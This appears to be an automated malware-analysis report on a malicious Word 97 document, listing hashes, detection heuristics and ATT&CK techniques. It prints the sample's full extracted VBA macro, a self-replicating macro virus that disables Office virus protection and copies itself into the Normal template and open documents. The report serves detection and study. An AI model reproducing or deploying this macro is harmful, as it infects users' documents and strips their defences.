Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 27f8736bb525fee9…

MALICIOUS

Office (OLE)

61.5 KB Created: 2001-09-17 06:48:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-30
MD5: 8454fec719806b6ec71ed7297f6a4271 SHA-1: 61a378db2d01664958d56603aeab2dd42fa1d044 SHA-256: 27f8736bb525fee9b92f0ea33fd592507ab07ee713348320b901e529ac5b1fe1
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an OLE document containing VBA macros. The Document_Open macro attempts to disable virus protection and replicate its code to other documents, including the active document and the normal template. This behavior is indicative of a macro-based malware dropper aiming for persistence and spread.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6348558-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6348558-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 62,976 bytes but its declared streams total only 27,395 bytes — 35,581 bytes (56%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1402 bytes
SHA-256: 51a14865229c780afe5e7597d88006a170ccde4585e10ffc72ddaf1fd22b8c76
Detection
ClamAV: Doc.Trojan.NSI-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True




Private Sub Document_Close()

End Sub

Private Sub Document_Open()
    On Error Resume Next
    Options.VirusProtection = False
    EnableCancelKey = wdCancelDisabled
    Set maci = MacroContainer.VBProject.VBComponents.Item(1)
    Set macic = maci.CodeModule
    ns$ = Left(macic.lines(1, 1), 21)
    Set inf = NormalTemplate: nsi$ = ns$
        If MacroContainer = inf Then Set inf = ActiveDocument: nsi$ = ns$
    Set infc = inf.VBProject.VBComponents
    Set infi = infc.Item(1)
    Set infic = infi.CodeModule
    infi.Name = "ThisDocument"
    For mx = 2 To infc.Count
        infc.Remove infc.Item(2)
    Next mx
        If infic.countlines <> macic.CountOfLines Then
            infic.deletelines 1, infic.CountOfLines
            For coco = 1 To macic.CountOfLines
                infic.insertlines coco, macic.lines(coco, 1)
            Next coco
            infic.replaceline 1, nsi$
        End If
    If Left(ActiveDocument.Name, 8) <> Mid$(macic.lines(1, 1), 13, 8) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    EnableCancelKey = wdCancelDisabled
End Sub
'ThisDocument v 1.0 1999